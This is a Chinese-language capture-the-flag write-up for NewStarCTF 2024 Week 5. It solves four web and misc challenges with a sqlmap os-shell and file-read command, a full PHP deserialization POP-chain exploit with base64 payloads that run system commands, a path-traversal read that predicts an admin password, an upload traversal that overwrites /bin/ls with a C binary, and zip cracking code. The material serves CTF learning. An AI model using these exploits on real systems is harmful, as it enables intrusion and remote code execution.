NewStarCTF2024-Week5-WebMisc-WP
写在前面
打了一个月的新生赛,I am a NewStar!
玩得还是很开心,前三周自己学的方向还能 ak 掉,第四五周就开始有些做不动了。
道阻且长,行则将至。
目录
1、sqlshell
2、臭皮吹泡泡
3、臭皮的网站
4、zipmaster
1、sqlshell
sqlmap -u http://eci-2zebln8yzpiqjrlte3lr.cloudeci1.ichunqiu.com/?student_name=1 --batch --os-shell
getshell 后发现根目录下存在文件 you_cannot_read_the_flag_directly
但是不能直接读取文件内容
提示需要自己写 shell 进去
不管它,直接读文件到本地
sqlmap http://eci-2ze5o4vs0w9ipuh1j6a8.cloudeci1.ichunqiu.com/?student_name=1 --file-read="/you_cannot_read_the_flag_directly" --dump –batch
拿到 flag:flag{d9e1a360-a7ed-4d51-82e7-88bcc298834a}
2、臭皮吹泡泡
$runcode="<?php #".$this->let_me."?>";
这里有个注释符,一开始想的是闭合再插入新的 php 语句,试了下没成功,采用换行符绕过。
pop 链构造:
主要是得绕过 unlink 函数的执行
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this-> time);
unlink($tmpfile);
通过把 time 赋值为 happy 对象,将对象当做字符串就会触发 __tostring 魔术方法,转而继续执行 get_flag 函数,进入一个循环。
exp:
<?php
class study
{
public $study;
public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf = "system('ls');";
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{
$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}
}
public function __destruct(){
echo "study ctf let me happy";
}
}
class happy
{
public $sign_in;
public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}
$l = new let_me();
$c = new ctf();
$h = new happy();
$s = new study();
$l->let_me = "\n system('ls /');";
$l->time = $h;
$c->ctf = [$l, 'get_flag'];
$s->study = $c;
echo base64_encode(serialize($s));
payload:
?new[star[ctf=Tzo1OiJzdHVkeSI6MTp7czo1OiJzdHVkeSI7TzozOiJjdGYiOjE6e3M6MzoiY3RmIjthOjI6e2k6MDtPOjY6ImxldF9tZSI6Mjp7czo2OiJsZXRfbWUiO3M6MTc6Igogc3lzdGVtKCdscyAvJyk7IjtzOjQ6InRpbWUiO086NToiaGFwcHkiOjE6e3M6Nzoic2lnbl9pbiI7Tjt9fWk6MTtzOjg6ImdldF9mbGFnIjt9fX0=
根目录下存在 flag
读取:
?new[star[ctf=Tzo1OiJzdHVkeSI6MTp7czo1OiJzdHVkeSI7TzozOiJjdGYiOjE6e3M6MzoiY3RmIjthOjI6e2k6MDtPOjY6ImxldF9tZSI6Mjp7czo2OiJsZXRfbWUiO3M6MjI6Igogc3lzdGVtKCd0YWMgL2ZsYWcnKTsiO3M6NDoidGltZSI7Tzo1OiJoYXBweSI6MTp7czo3OiJzaWduX2luIjtOO319aToxO3M6ODoiZ2V0X2ZsYWciO319fQ==
拿到 flag:flag{b6c31fff-8df6-4b9f-8d10-73bca1d772c7}
3、臭皮的网站
漏扫发现可以读取到文件
burpsuite 验证一下,确实可以
其实不用穿这么多次
读了下根目录下的 flag,没有
进程环境变量也没有什么
F12 看到提示
试了下读 nginx 的一些配置文件和日志,没有成功
一开始一直往 html 和 php 方向的文件读,后面发现题目提到 python
那就读 /app/app.py
拿到源码,密码是随机的 8 位字符,用户名是 admin
代码审计,注意到这个密码其实是可以预测的,因为它的随机数种子来自于 mac 地址
读取 mac 地址:
/static/../../sys/class/net/eth0/address
生成登录密码
拿到密码:aX2GQi4I
登录 admin
(这里注意一下,只能一次登录成功,二次登陆也会报密码或账号错误)
看了下文件上传的路由:
它这里直接将 filename 拼接过去的,因此也存在目录穿越,我们可以将文件传传到任何地方
但是文件传上去了怎么执行呢,文件是不会自己执行的,而且是 python 写的网站,我们 php 传上去也根本解析不了。
一开始尝试写入计划任务,但是发现它根本没有 crontab 功能
后面代码审到这里
它会执行 ls 命令,那么我们就可以劫持 ls 命令
利用文件上传覆盖掉 /bin/ls
这一步也是折腾了很久,一开始试了 /bin/ls,/usr/bin/ls,发现都会让环境崩掉
cat 命令是可以的
后面换用 dir 命令,直接将结果写入到某个文件中
#include <stdio.h>
#include <stdlib.h>
int main() {
system("/usr/bin/dir / > /1.txt");
return 0;
}
为了避免有一些可能的依赖,我们采用静态链接库的方式编译
利用目录穿越,将 elf 文件传到 /bin/ls
读取输出文件
拿到文件名为:a6c4304ad5938eaf0efb6cc3e53dc_flag
读取 flag:
4、zipmaster
其中 1234 都很小可以直接 CRC 爆破出来
先删掉 114514 后进行 crc 爆破
拿到 this_is_key!
解压
来到第二层加密
改了下 docx 等文件,发现打不开
可能指的不是文件类型相同
注意到两个 hint.txt 的 CRC 是一样的
那就直接明文攻击了
打开 hint.txt 是一样的,不用管,查看 flag.zip
010 打开结尾存在 base64 编码,提取一下
看到 50 4B 是个压缩包
需要密码
结尾提取到字符串:f4tj4oGMRuI=
很明显是 base64 编码,但是直接解密有乱码,说明存在不可见字符
使用 python 来实现解压
注意这里压缩包的加密算法是 AES,zipfile 库是不支持的,我们采用 pyzipper
exp:
import pyzipper
import base64
encoded_password = "f4tj4oGMRuI="
password = base64.b64decode(encoded_password)
zip_file = "1.zip"
try:
with pyzipper.AESZipFile(zip_file, mode='r') as zip_ref:
zip_ref.setpassword(password)
zip_ref.extractall()
print("解压成功!")
except Exception as e:
print(f"解压失败: {e}")
打开 Z1 即可看到 flag
flag{ecebbd61-2bb9-4eda-b4ca-f24b895be2e3}